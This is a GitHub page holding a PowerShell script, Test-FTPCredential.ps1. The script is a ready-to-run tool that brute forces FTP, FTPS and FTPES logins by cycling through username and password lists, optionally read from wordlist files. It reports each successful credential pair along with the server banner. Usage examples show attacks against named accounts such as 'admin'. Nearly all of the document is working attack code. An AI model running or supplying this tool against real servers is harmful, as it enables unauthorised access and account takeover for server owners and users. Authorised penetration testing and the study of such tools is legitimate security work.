-
Notifications
You must be signed in to change notification settings - Fork 90
/
Test-FTPCredential.ps1
177 lines (124 loc) · 5.46 KB
/
Test-FTPCredential.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
Function Test-FTPCredential {
<#
.SYNOPSIS
This cmdlet is used to brute force FTP Credentials
.DESCRIPTION
Test a list of usernames and passwords against an FTP server
.PARAMETER Server
Defines the FQDN, hostname, or IP address of the server hosting the FTP instance
.PARAMETER Username
Defines a username to test passwords against
.PARAMETER Passwd
Defines the passwords you want tested against the username you define
.PARAMETER Port
Defines the port the FTP server is listening on. The default value is 21
.PARAMETER Protocol
Defines the FTP Protocol you wish to issue authentication attempts against. The default value is FTP
.PARAMETER Seconds
Defines the number of seconds to wait in between failed password attempts
.EXAMPLE
Test-FTPCredential -Server FTP.domian.com -Username ftpuser -Passwd 'Password123','Passw0rd1!','password123!' -Port 21
# This example tests the 3 defined passwords against the ftpuser account on the FTP server located on FTP.domain.com over port 21
.EXAMPLE
Test-FTPCredential -Server FTP.domian.com -Username admin, ftpuser -Passwd 'Password123','Passw0rd1!','password123!' -Seconds 60
# This example tests the 3 defined passwords against the admin and ftpuser account on the FTP server located on FTP.domain.com over port 21, waiting 60 seconds in between failed attempts
.EXAMPLE
Test-FTPCredential -Server FTP.domian.com -Username (Get-Content -Path C:\Temp\userlist.txt) -Passwd (Get-Content -Path C:\Temp\passlist.txt)
# This example tests the passwords in C:\Temp\passlist.txt against all users defined in C:\Temp\userlist.txt file against the FTP server located at FTP.domain.com over port 21, waiting 1 seconds in between failed attempts
.NOTES
Author: Robert H. Osborne
Alias: tobor
Contact: rosborne@osbornepro.com
.LINK
https://osbornepro.com
https://writeups.osbornepro.com
https://encrypit.osbornepro.com
https://btpssecpack.osbornepro.com
https://github.com/tobor88
https://github.com/OsbornePro
https://gitlab.com/tobor88
https://www.powershellgallery.com/profiles/tobor
https://www.linkedin.com/in/roberthosborne/
https://www.credly.com/users/roberthosborne/badges
https://www.hackthebox.eu/profile/52286
.INPUTS
None
.OUTPUTS
None
#>
[CmdletBinding()]
param(
[Parameter(
Position=0,
Mandatory=$True,
ValueFromPipeline=$False,
HelpMessage="`n[H] Define the hostname, FQDN, or IP address of the FTP server. `n[E] ftp.domain.com")] # End Parameter
[String]$Server,
[Parameter(
Position=1,
Mandatory=$True,
ValueFromPipeline=$False,
HelpMessage="`n[H] Define the username you wish to attempt authentication on. `n[E] domain\\ftpuser")] # End Parameter
[String[]]$Username,
[Parameter(
Position=2,
Mandatory=$True,
ValueFromPipeline=$False,
HelpMessage="`n[H] Define the passwords you wish to attempt authentication with. `n[E] 'Passw0rd1!','Password123!'")] # End Parameter
[String[]]$Passwd,
[Parameter(
Position=3,
Mandatory=$False,
ValueFromPipeline=$False)] # End Parameter
[UInt16]$Port = 21,
[Parameter(
Mandatory=$False,
ValueFromPipeline=$False)] # End Parameter
[ValidateSet('FTP','FTPS','FTPES')]
[String]$Protocol = 'FTP',
[Parameter(
Mandatory=$False,
ValueFromPipeline=$False)] # End Parameter
[Int32]$Seconds = 1
) # End param
Write-Output -InputObject "[*] Brute Forcing FTP service on $Server"
$Source = "ftp://" + $Server + ":" + $Port.ToString()
Switch ($Protocol) {
'FTP' {
$Request = [System.Net.FtpWebRequest]::Create($Source)
$Request.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails
} # End FTP Switch
'FTPS' {
$Request = [System.Net.FtpWebRequest]::Create($Source)
$Request.UseBinary = $False
$Request.UsePassive = $True
$Request.EnableSsl = $True
$Request.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails
} # End FTPS Switch
'FTPES' {
$Request = [System.Net.FtpWebRequest]::Create($Source)
$Request.UseBinary = $False
$Request.UsePassive = $True
$Request.EnableSsl = $True
$Request.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails
} # End FTPES Switch
} # End Switch
ForEach ($U in $Username) {
ForEach ($P in $Passwd) {
Try {
Write-Verbose -Message "Attempting $U : $P"
$Request.Credentials = New-Object -TypeName System.Net.NetworkCredential($U, $P)
$Result = $Request.GetResponse()
$Message = $Result.BannerMessage + $Result.WelcomeMessage
Write-Output -InputObject "[*] SUCCESS $U : $P"
$Message
$Obj = New-Object -TypeName PSCustomObject -Property @{Server=$Server; Username=$U; Password=$P; URI=$Source}
$Obj
Break
} Catch {
Write-Error -Message $Error[0]
} # End Catch
Start-Sleep -Seconds $Seconds
} # End ForEach Passwd
} # End ForEach User
} # End Function Test-FTPCredential